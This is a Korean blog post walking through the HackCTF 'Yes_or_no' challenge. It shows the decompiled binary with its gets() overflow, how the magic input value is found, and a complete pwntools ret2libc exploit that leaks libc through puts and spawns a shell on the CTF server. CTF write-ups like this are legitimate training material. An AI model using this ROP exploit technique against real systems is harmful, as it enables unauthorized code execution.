ii4gsp
HackCTF - Yes_or_no 본문
파일을 다운받아 주자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // ecx
int v6; // eax
int v7; // eax
char s; // [rsp+Eh] [rbp-12h]
int v10; // [rsp+18h] [rbp-8h]
int v11; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v11 = 5;
puts("Show me your number~!");
fgets(&s, 10, stdin);
v10 = atoi(&s);
if ( (v11 - 10) >> 3 < 0 )
{
v4 = 0;
}
else
{
v3 = v11++;
v4 = v10 - v3;
}
if ( v4 == v10 )
{
puts("Sorry. You can't come with us");
}
else
{
v5 = 1204 / ++v11;
v6 = v11++;
if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(&s);
}
else
{
v7 = v11--;
if ( v10 == v7 )
{
printf("Why are you here?");
return 0;
}
puts("All I can say to you is \"do_system+1094\".\ngood luck");
}
}
return 0;
}
IDA로 바이너리를 열어보면 변수 fgets()함수로 입력받은 값을통해 v10에 저장하고 프로그램을 분기한다.
if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(&s);
}
v10의 값이 v6 * v5 << (++v11 % 20 + 5) 이라면 gets()함수를 실행시킬수있다.
gdb로 열어보면 rbp-0x8의 값과 eax 레지스터 값을 비교한다.
main+237 부분에 breakpoint를 걸어주고 64bit 바이너리이므로 rax 값을 보면 된다.
RAX = 0x960000 이다.
즉, 9,830,400 값을 넣어주면 gets() 함수를 실행시킬수있다.
ROPgadget --binary yes_or_no 명령을 통해 pop_rdi, ret gadget을 찾을 수 있다.
exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3009)
e = ELF('./yes_or_no')
libc = ELF('./libc-2.27.so')
pop_rdi = 0x0000000000400883
ret = 0x000000000040056e
r.sendlineafter('Show me your number~!', '9830400')
r.recvuntil("That's cool. Follow me\n")
payload = ''
payload += '\x90' * 26
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])
r.sendline(payload)
leak = u64(r.recv(6) + '\x00\x00')
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
log.info('leak : ' + hex(leak))
log.info('libc_base : ' + hex(libc_base))
log.info('system : ' + hex(system))
log.info('binsh : ' + hex(binsh))
r.sendlineafter('Show me your number~!', '9830400')
r.recvuntil("That's cool. Follow me\n")
payload = ''
payload += '\x90' * 26
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)
r.sendline(payload)
r.interactive()
간단한 ROP를 통해서 puts() 함수로 주소를 leak 후 system과 binsh를 구해주면 된다.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - g++ pwn (0) | 2020.02.16 |
---|---|
HackCTF - RTL_World (0) | 2020.02.15 |
HackCTF - BOF_PIE (0) | 2020.02.09 |
HackCTF - Offset (0) | 2020.02.09 |
HackCTF - Simple_Overflow_ver_2 (0) | 2020.02.09 |
Comments